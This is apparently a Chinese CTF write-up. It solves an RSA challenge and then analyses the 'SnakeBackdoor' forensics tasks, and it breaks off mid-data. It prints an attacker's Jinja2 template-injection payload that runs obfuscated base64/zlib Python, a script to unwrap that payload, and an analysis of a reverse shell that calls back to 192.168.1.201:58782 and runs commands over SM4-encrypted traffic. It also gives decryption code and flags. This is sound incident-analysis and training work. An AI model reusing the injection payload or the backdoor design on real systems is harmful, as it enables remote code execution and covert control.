4848311241082759393413668105061939945315500556958532532981155381016293376448488
4834147941943803223233900323690607186400536605018509695571248482424922819757722
3248353640366078747360090084446361275032026781246854700074896711976487694783856
8784032473123124871972432723305188613469814703533941497850866351638680238668175
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5238768189096305219998378280099348524567043781818061756146496498731616192711860
5512017355921555464359512280368738197370963036482455976503266489446554327046948
6702158149744617170208048929836656551073510507791512270998270449499615173053454
1573535536197969094579176638989226265914608837406442334067596950576664060440505
6526597458482705651442368165084488267428304515239897907407899916127394598273176
6182903001124506700409225676886050727491160619051753169757113419607741502600049
3925094973883635826495259018948251841572807219113771393538602612788156438642706
9721229262845412925923228235712893710368875996153516581760868562584742909664286
7920768691064890901423596087274067207988225505601611766765018885073972078639981
2926147263195448276126440648380714580523231714776914598595526720636967571183448
5845321043623959730914679051434102698588945009836642922614296598336035078421463
808774940679339890140690147375340294139027290793

    b = 
1614122982258299994179552843405360402413083437674338041754384815451056794142628
4503974843508505293632858944676904777719167211264225017879544879766461905421764
9111451153136985291481185564815696624279431299062466693922854659620097604153982
7786123540114447372842192430018281851945186366854327996477381268129470093277927
6119980976088388578080667457572761731749115242478798767995746571783659904107470
2708614182502705291890656842653647548710765952029446162942134181658984113326093
7545609338694271043373145059114417354343788065289852027502000888836482092896218
6107055633582315448537508963579549702813766809204496344017389879

    print(f(a,b))

# 
[120945413032227236169756666322688307518484455719519871690742506264378771102056
99058506111384472586354084793914769711672322551034923778729430162356351731919, 
1264058678017835427877108005238349774986939986527355742235074037624244631950339
1917174055513935117677336547258288132280151433761630655572270163827336131139, 
8032658322599620029480213181968895812810902172967093552713506521436300000398610
054134219799747232115213014217973189950145890725588704391460190522209172659, 
1314379238342963156717633880564836185864503474283869259957881553286646891613330
9392038207913937396336227239361151049752128445345075961851450420118805042241]

得到​ 的因数分解后就是常规的RSA解密​n

代码块​

from sage.all import *
from Crypto.Util.number import *
p,q,r,s = 
[120945413032227236169756666322688307518484455719519871690742506264378771102056
99058506111384472586354084793914769711672322551034923778729430162356351731919, 
1264058678017835427877108005238349774986939986527355742235074037624244631950339
1917174055513935117677336547258288132280151433761630655572270163827336131139, 
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8032658322599620029480213181968895812810902172967093552713506521436300000398610
054134219799747232115213014217973189950145890725588704391460190522209172659, 
1314379238342963156717633880564836185864503474283869259957881553286646891613330
9392038207913937396336227239361151049752128445345075961851450420118805042241]
n1=1614122982258299994179552843405360402413083437674338041754384815451056794142
6284503974843508505293632858944676904777719167211264225017879544879766461905421
7649111451153136985291481185564815696624279431299062466693922854659620097604153
9827786123540114447372842192430018281851945186366854327996477381268129470093277
9276119980976088388578080667457572761731749115242478798767995746571783659904107
4702708614182502705291890656842653647548710765952029446162942134181658984113326
0937545609338694271043373145059114417354343788065289852027502000888836482092896
2186107055633582315448537508963579549702813766809204496344017389879
c=65798492122994245493393340344772900630665760771032686430122645514374329842420
3173231485254106370042482797921667656700155904329772383820736458855765136793243
3166712128694263979546847848617213750985125696339610838153129181230327747001100
6908126224292198586479632896942352782113928131036998197274386627159459034453957
9191695406770264993187783060116166611986577690957583312376226071223036478908520
5396706313594159377842549861058452189885743651368378031832825353351707440888223
5249474213291962969384972976642639768386948284274840100085378313417030507512423
0522253670782186531697976487673160305610021244587265868919495629

phi = (p-1)*(q-1)*(r-1)*(s-1)
e = 65537
d = pow(e,-1,phi)
m = pow(c,d,n1)
print(long_to_bytes(m))

# 
b'flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}\x7fp\xcb\xd6\x004"A+\x8crj\xead\x
1a\x1f\x8e\xe0\xd9\xadO\x99\xe93\xdb\xef\x8b\x080aj\x9b)rk(C\xd3\xa0\x03\xec\x9
1r3\x03x\xf3\x8b\x94\x14y\x0bW\x11\x0bLd\xd0\x87\xed\r\x90\x8c\xf7}5Lwe\xd9N\xb
6\xfd\x92(p}\x18A[0\x116\xa9\xc6\xfdLZ<@\n\x89d\xc6\xe7\x04\xc5)\x81)\x14\x86E\
xca]\xd2\x02c\x1a\xadF\xc0\xe2*\x16y\x16\xb4\xf5K\xec\xaf\xe9\xa3\xf3I\xe6a\x94
%\xae5Y\xb6\xa7N!\xf79\xca\xe5^cL\x10 
\xbe\xfd\x800\'Il\x9b\x86\xd9\xfcd\xd5\x9e\xa9S\x8c\x80\xc1cM\x16`/\x04\xe8\xa7
\xea\xbf+\x81Jw-
@T\xe9\xeb\x97\x10h$\x8c\xa7\x9bN\x91\x18u.\xe1\t\xc8\xdc\xc4n%\x9d\x0e\x8a\x05
T \xc4\xb0m\xde'

flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}​

Misc​
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SnakeBackdoor-1​

SnakeBackdoor-2​



SnakeBackdoor-3​

代码块​

preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; 
exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXBy
ZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1
jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2
NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpN
E9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2
TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01
Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3
BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VL
zl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhL
dFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDh
KVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaS
tJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K

1



21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0
NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1
xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdW
ZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XS
DFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJG
VUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9
jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWU
NtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa
21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lU
R0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1U
yRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMH
BXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3e
lF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96
ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTd
RS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcl
lNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKb
EFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2
YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkd
VY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeX
RTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZ
FQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdH
UHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU
0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbT
IrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMe
HBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0
OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeUR
GRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2
ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2W
m44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4
MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV
5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSej
ZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2Ura
Uc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3Ju
REZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s
1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNj
hScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCc
kdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNx
N3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGF
iSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aE
NWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSe
k1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERL
TnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOEN
ZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cT
Q2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))",
 
{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals_
_['current_app']})}}



代码块​

import zlib, base64, re

def decrypt(s):
    while m := re.search(r"\(b'([^']+)'\)", s):
        try:
            s = zlib.decompress(base64.b64decode(m[1][::-1])).decode()
        except:
            break
    return s

code = decrypt("""_ = lambda __ : 
__import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)
(b'=Mh9tF+P77///Ifl4GylHNv9WPmMRKfJIiSymIzVm0z4e7Asd2fikAzeNQAsaew4RLYBWWFWgoiC
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
M9esW7BGeVTfJRuiQxyWklVwJe'))""")

print(code)

SnakeBackdoor-4​
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解得压缩包密码



SnakeBackdoor-5​

对shell的逆向：​

1. 连接阶段

◦ 连接到服务器 192.168.1.201:58782​

◦ 接收4字节种子，并进行字节序转换​

◦ 使用种子初始化随机数生成器

2. 密钥生成：SM4​

◦ 生成4个随机数作为初始密钥​

◦ 生成加密密钥，存储在v9中​



◦ 生成解密密钥，存储在v10中​

种子是0x34952046​

代码块​

int main()
{
    unsigned int buf[4];
    unsigned int seed = 0x34952046;
    srand(seed);
    for(int i=0;i<4;i++)
    {
        buf[i] = rand();
    }
    for(int i=0;i<16;i++)
    {
        printf("%02x", key[i]);
    } 
    return 0;
}
//ac46fb610b313b4f32fc642d8834b456

SnakeBackdoor-6​

木马程序shell的加解密流程​
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1. 接收命令数据

2. dec_subkey解密命令（SM4_ECB解密）​

3. 移除PKCS#7填充​

4. 执行命令：popen(command, "r")​

5. 读取命令输出

6. PKCS#7填充输出​

7. enc_subkey加密输出（SM4_ECB加密）​

8. 发送加密结果回服务器

SM4的Sbox换表，复杂下来，编写脚本解密流量。​

代码块​

import binascii

class SM4:
    # S盒
    SBOX = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 
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        0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76, 
        0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 
        0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 
        0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 
        0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 
        0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 
        0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8, 
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 
        0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 
        0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 
        0x78, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 
        0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF, 
        0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 
        0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 
        0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3, 
        0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 
        0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x39, 0xB8, 
        0x31, 0x11, 0x0C, 0x5A, 0xCB, 0x3E, 0x0A, 0x45, 0xE5, 0x94, 
        0x77, 0x5B, 0x8D, 0x6D, 0x48, 0x41, 0x10, 0xBD, 0x09, 0xC1, 
        0x4A, 0x89, 0x0D, 0x6E, 0x97, 0xA1, 0x1D, 0x16, 0x0A, 0xD9, 
        0x88, 0x6A, 0x96, 0xD1, 0x6B, 0x32, 0x02, 0x35, 0x46, 0x06, 
        0x7D, 0x65, 0x49, 0x8C, 0xF0, 0x3E, 0x2D, 0x7A, 0x15, 0xFF, 
        0x05, 0x8E, 0x01, 0x84, 0x3C, 0x3A, 0x38, 0x53, 0x87, 0x7B, 
        0x0B, 0x2B, 0x7E, 0x0F, 0xF6, 0x69, 0xA8, 0x5A, 0xB5, 0x4C, 
        0x1B, 0x39, 0x7F, 0x08, 0x8D, 0x1C
    ]
    
    # 系统参数FK
    FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
    
    # 固定参数CK
    CK = [
        0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
        0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
        0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
        0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
        0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
        0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
        0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
        0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
    ]
    
    @staticmethod
    def left_rotate(x, n):
        """循环左移"""
        return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF
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    @staticmethod
    def tau(a):
        """非线性变换tau,应用S盒"""
        b0 = SM4.SBOX[(a >> 24) & 0xFF]
        b1 = SM4.SBOX[(a >> 16) & 0xFF]
        b2 = SM4.SBOX[(a >> 8) & 0xFF]
        b3 = SM4.SBOX[a & 0xFF]
        return (b0 << 24) | (b1 << 16) | (b2 << 8) | b3
    
    @staticmethod
    def l(byte):
        """线性变换L"""
        return byte ^ SM4.left_rotate(byte, 2) ^ SM4.left_rotate(byte, 10) ^ \
               SM4.left_rotate(byte, 18) ^ SM4.left_rotate(byte, 24)
    
    @staticmethod
    def l_prime(byte):
        """用于密钥扩展的线性变换L'"""
        return byte ^ SM4.left_rotate(byte, 13) ^ SM4.left_rotate(byte, 23)
    
    @staticmethod
    def t(byte):
        """合成变换T"""
        return SM4.l(SM4.tau(byte))
    
    @staticmethod
    def t_prime(byte):
        """用于密钥扩展的合成变换T'"""
        return SM4.l_prime(SM4.tau(byte))
    
    @staticmethod
    def _bytes_to_words(data):
        """将字节转换为字列表"""
        words = []
        for i in range(0, len(data), 4):
            #word = (data[i] << 24) | (data[i+1] << 16) | (data[i+2] << 8) | 
data[i+3]
            word = (data[i+3] << 24) | (data[i+2] << 16) | (data[i+1] << 8) | 
data[i]
            words.append(word)
        return words
    
    @staticmethod
    def _words_to_bytes(words):
        """将字列表转换为字节"""
        result = bytearray()
        for word in words:
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            # result.append((word >> 24) & 0xFF)
            # result.append((word >> 16) & 0xFF)
            # result.append((word >> 8) & 0xFF)
            # result.append(word & 0xFF)

            result.append(word & 0xFF)
            result.append((word >> 8) & 0xFF)
            result.append((word >> 16) & 0xFF)
            result.append((word >> 24) & 0xFF)  
        return bytes(result)
    
    @staticmethod
    def key_expansion(key):
        """密钥扩展"""
        # 将密钥转换为4个32位字
        mk = SM4._bytes_to_words(key)
        k = [mk[i] ^ SM4.FK[i] for i in range(4)]
        
        rk = []
        for i in range(32):
            # 密钥扩展函数
            tmp = k[i+1] ^ k[i+2] ^ k[i+3] ^ SM4.CK[i]
            tmp = SM4.t_prime(tmp)
            k.append(k[i] ^ tmp)
            rk.append(k[i+4])
        
        return rk
    
    @staticmethod
    def _one_round(x, rk):
        """一轮加密/解密"""
        x0, x1, x2, x3 = x
        
        # F函数
        tmp = x1 ^ x2 ^ x3 ^ rk
        tmp = SM4.t(tmp)
        
        x4 = x0 ^ tmp
        
        return [x1, x2, x3, x4]
    
    @staticmethod
    def _crypt(input_data, rk):
        """加/解密核心函数"""
        # 将输入数据转换为4个32位字
        x = SM4._bytes_to_words(input_data)
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        # 32轮迭代
        for i in range(32):
            x = SM4._one_round(x, rk[i])
        
        # 反序变换
        x = x[::-1]
        
        return SM4._words_to_bytes(x)
    
    @staticmethod
    def encrypt_block(plaintext, key):
        """加密一个块"""
        rk = SM4.key_expansion(key)
        return SM4._crypt(plaintext, rk)
    
    @staticmethod
    def decrypt_block(ciphertext, key):
        """解密一个块"""
        rk = SM4.key_expansion(key)
        # 解密时使用反序的轮密钥
        rk = rk[::-1]
        return SM4._crypt(ciphertext, rk)

def sm4_decrypt_ECB(hex_key, hex_ciphertext):
    
    # 检查密钥长度
    if len(hex_key) != 32:
        raise ValueError("密钥长度不符")
    
    # 转换密钥和密文
    key = binascii.unhexlify(hex_key)
    ciphertext = binascii.unhexlify(hex_ciphertext)
    
    # 检查密文长度是否为16字节的倍数
    if len(ciphertext) % 16 != 0:
        raise ValueError("密文长度必须是16字节的倍数")
    
    # 分块解密
    plaintext_blocks = []
    block_size = 16
    
    
    for i in range(0, len(ciphertext), block_size):
        block = ciphertext[i:i+block_size]
        plaintext_block = SM4.decrypt_block(block, key)
        plaintext_blocks.append(plaintext_block)
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    # 合并所有块
    plaintext = b''.join(plaintext_blocks)
    
    return binascii.hexlify(plaintext).decode()

key = "ac46fb610b313b4f32fc642d8834b456"
chiper_list = [
    "49b351855f211b85bd012f80ce8ed5b3",
    "2cc5becb37ca595a89445461c6512efc",
    "b863696da0c6bb28da46e09069dd644f",
    
"87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7
aa408a94e6a59029e7",
    "b7c88bb0d92308a57f83d08a90ae024c",
    
"91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2
641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686
b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07cc2bccec85
db48d820038d8c1273024cd80f99e761e2dc2ca5f79f97eb5e01c74a7807ba9f29d99338ea1962d
aba592f2f212ca8686cf37880755f82949cce1e38a7cd2c8f4a79e5a5b640375a94faa0dd2df112
25df777845781f0562aab86e09effa9d6254ac8db8853036f680c37d9a047eafd0b65d7b8715cdd
7f9becf3046afd113dc0b8b714b002cafc2482c4f240dab7cfa61ea30b3d4595b67563fde635bbd
